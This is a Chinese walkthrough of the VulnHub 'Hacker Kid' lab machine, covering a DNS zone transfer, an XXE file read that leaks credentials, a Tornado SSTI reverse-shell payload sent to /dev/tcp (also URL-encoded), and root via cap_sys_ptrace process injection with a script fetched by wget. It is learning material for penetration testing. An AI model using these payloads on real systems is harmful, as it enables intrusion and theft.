vulnhub-Hacker_Kid靶机渗透过程
靶机地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
打靶目标:获得 root 权限
网络配置:kali和靶机均使用的vmware,nat网络连接(均使用vmnet8),开启了dhcp服务
0x01 主机发现
首先我们通过使用下面这条命令用来发现靶机的ip。
arp-scan -l
我们发现靶机的ip为192.168.26.139,这里顺便说一下kali的ip:192.168.26.20
0x02 端口扫描
当我们知道靶机的ip地址后我们开始使用nmap来进行端口及其服务的探测。
nmap -sS -sV -T4 -A -p- 192.168.26.139
通过上面nmap的探测结果,我们知道了53端口开放了 dns服务,80,9999端口都是web服务,然后我们使用whatweb这个信息搜集工具对80,9999两个端口的web服务进行一个信息搜集。
0x03 WEB信息收集
接下来我们访问80端口的web服务。
如上图所示,我们在访问80端口的web服务时,发现了作者给到的提示,汉语的意思大概就是你越是挖我,就越能在服务器上找到我,更深的挖掘,更深的挖掘。我们知道linux上有一个dig的命令,dig 命令主要用来从 DNS 域名服务器查询主机地址信息。 dig的全称是 ( domain information groper)。 它是一个用来灵活探测DNS的工具。所以我们猜测到这台靶机的突破点可能与dns服务有关,但是dig命令需要知道域名才可以使用,所以我们需要先找到这个服务器上可能存在的一些域名才能使用dig命令来获取到一些dns相关的信息。
接着我们访问一下9999端口的web服务,我们发现只是一个登录页面,经过sql注入,暴力破解等手段,并没有什么收获。
接着我们重新回到80端口的web服务页面,做进一步的信息搜集,在经过一通寻找后,在如下图的页面源码中发现了一个注释,注释说用get类型的一个参数 page_no 可以来访问页面,刚开始手动尝试一波没发现什么,于是尝试使用burp批量操作,看能否有所发现。
经过burp的爆破,我们发现参数值为21的时候返回包长度与其他不同。
通过上图我们可以知道,hacker已经建立了一些子域,以便于他随时可以回来控制这台服务器,并且hackers.blackhat.local是其中的一个。接下来我们把这个子域名和靶机ip添加到kali的hosts文件中,然后通过访问这个域名,看是否能获取一些其他的信息。
补充知识:在一台服务器上部署多个web服务常见有三种方法
方法一:不同的web服务绑定不同的ip,访问者通过访问不同的ip来浏览不同的网站
方法二:不同的web服务绑定不同的端口,访问者通过访问同一ip的不同端口来浏览不同的网站
方法三:不同的web服务绑定不同的域名,访问者通过访问不同的域名来浏览不同的网站
0x04 DNS区域传输
vim /etc/hosts
访问之后我们发现和我们之前用ip访问显示的是同一个页面,我们知道可能还会有其他的子域名,但是我们现在还不知道,结合我们上面的获取的提示和分析,我们现在可以开始使用dig命令针对我们发现的这个hacker创立的这个域(blackhat.local)来做一个axfr。它的具体含义简单来说就是使用dig命令向服务器发送一个axfr的请求,如果服务器支持axfr,那么就会把请求的域对应的所有的dns记录都返回给请求者。
dig axfr @192.168.26.139 blackhat.local
通过上图我们发现,服务器竟然支持了我们的axfr请求,返回给了我们请求域中所有的dns记录,既然我们拿到了当前域中所有的子域名,那么我们就可以把这些子域名都加到kali的hosts文件中,然后挨个访问这些域名,在访问过程中我们就可能会发现hacker留下的后门。
补充知识:从安全配置的角度出发,服务器是不应当响应每个人的axfr请求的,它应该是只在同一域中主、备服务器之间使用的请求,通常用于实现主、备dns服务器间同步dns记录的作用。这里dns服务器响应了我们的axfr请求,其实是说明了该dns服务器存在配置不当的漏洞所造成的。
果然在我们把这些发现的域名都添加到hosts文件后,在访问http://hackerkid.blackhat.local/时发现了一个注册页面。
0x05 XXE注入攻击
我开始对这个注册页面进行测试,经过测试后发现无论输入什么格式的邮箱都是no available,所以我开始尝试使用burp抓包,看是否可以发现一些有用的信息。
如上图所示,我们通过burp抓包发现这个请求提交数据是以xml的格式进行提交的,到这里我就有思路了,我们可以测试是否存在xxe漏洞。
补充知识:XML 被设计用于传输和存储数据,XML 文档结构包括 XML 声明、 DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据 从 HTML 分离,是独立于软件和硬件的信息传输工具。XXE 漏洞全称 XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发 生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载 恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站 等危害。
测试是否存在xxe漏洞很重要的一个点就是我们如果我们提交的某个数据经过服务器的处理,会原封不动的显示在页面当中的时候,这个提交数据的点就很有可能会存在xxe的漏洞,而刚好当前页面提交邮箱数据的这个点就符合这个特征。如下图所示:
接下来我们通过burp抓包然后修改请求包中的内容来测试提交邮箱的点是否存在xxe漏洞。
如上图所示,我们从返回包中可以看出,服务器执行了我们的读取/etc/passwd文件的请求,也就说明了这个点是存在xxe漏洞的,我们从返回包中看到了一个用户saket。
接着我们来访问saket用户家目录下的文件,当我们访问到bash的配置文件bashrc时发现返回结果为空,我们猜测可能是存在一些过滤的手段,然后我这里尝试使用php的伪协议来读取该文件,看能否有返回的结果。
然后我这里尝试使用php的封装器来读取该文件,如下图所示我发现返回包中出现了base64编码后的数据。
对返回包中base64编码的数据解码后,在文件内容的最后发现了一个账号和密码。
想起前面的那个9999端口的登录框,我决定尝试一下看能否用这里获取到的账号和密码进行登录。
username:admin
password:Saket!#$%@!!
结果发现登录不了,然后我又尝试了使用saket作为账号来登录,发现可以成功登录。
username:saket
password:Saket!#$%@!!
通过观察上图我们发现页面提示我们说,让我们告诉它,我的名字,所以我猜测这里可能是有name这么一个变量的,然后尝试了一下发现的确存在name这个变量。
0x06 SSTI模板注入
我们在前面信息搜集的时候就知道了9999端口开放的web服务用的是Tornado,Tornado是一个python语言的web服务框架,python作为后端语言,我能想到的最有可能存在的漏洞也就是SSTI模板注入了,所以我这里随手测一下看是否有SSTI模板注入的漏洞
如上图所示,我们可以看到服务器处理了我们8*8的计算,并返回了结果64,说明这里是存在SSTI模板注入漏洞的。
知识补充:这里给出了一个模板注入通用的测试payload:{{1+abcdef}}${1+abcdef}<?1+abcdef?>[1+abcdef]
如果使用该payload后发现页面产生了如下图所示的报错,也是可以说明存在模板注入漏洞
既然我们已经验证了存在SSTI模板注入,接下来我们就可以构造一个反弹shell的payload获取到一个反弹shell,从而突破边界。
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.26.20/4444 0>&1"')}}
#下面是经过url编码后的payload
%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%26%3e%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%36%2e%32%30%2f%34%34%34%34%20%30%3e%26%31%22%27%29%7d%7d
如上图所示我们发现已经获取到一个普通用户的权限。
0x07 python Capabilities cap_sys_ptrace+ep提权
补充知识:
Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。
如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。
使用下面的这条命令可以用于发现具有Capabilities特殊操作权限的程序。
/usr/sbin/getcap -r / 2>/dev/null # -r 递归查询 2>/dev/null 错误信息从定向到null
通过上图我们发现python具备cap_sys_ptrace+ep 能力,所以我们可以对其进行利用然后进行提权。这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口。
脚本来自:https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py
首先我们先进到靶机的/tmp目录下,然后把我们要用的这个脚本下载到本地。
wget https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py
因为需要找root进程进行注入,所以简单写个shell脚本对root进程进行批量尝试。
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
通过上图我们已经看到靶机的5600端口已经监听,说明我们的脚本成功执行了,接下来我们回到kali用nc去连接靶机的5600端口即可。
通过上图我们可以看到我们成功实现了权限的提升,获取到了root权限,这台靶机的渗透过程到这里也就结束了。
关于python Capabilities cap_sys_ptrace+ep提权可以参考的外网资料:https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc
0x08 总结
在这台靶机的渗透过程中,用到了一些我不怎么熟悉的攻击手法,例如DNS区域传输漏洞,XXE注入漏洞,SSTI模板注入漏洞,Capabilities提权等,但是通过对这台靶机的渗透,我加深了对xxe漏洞和SSTI模板注入漏洞的理解,同时我还是学到了一些新的知识,例如DNS区域传输漏洞,总的来说算是收获颇丰。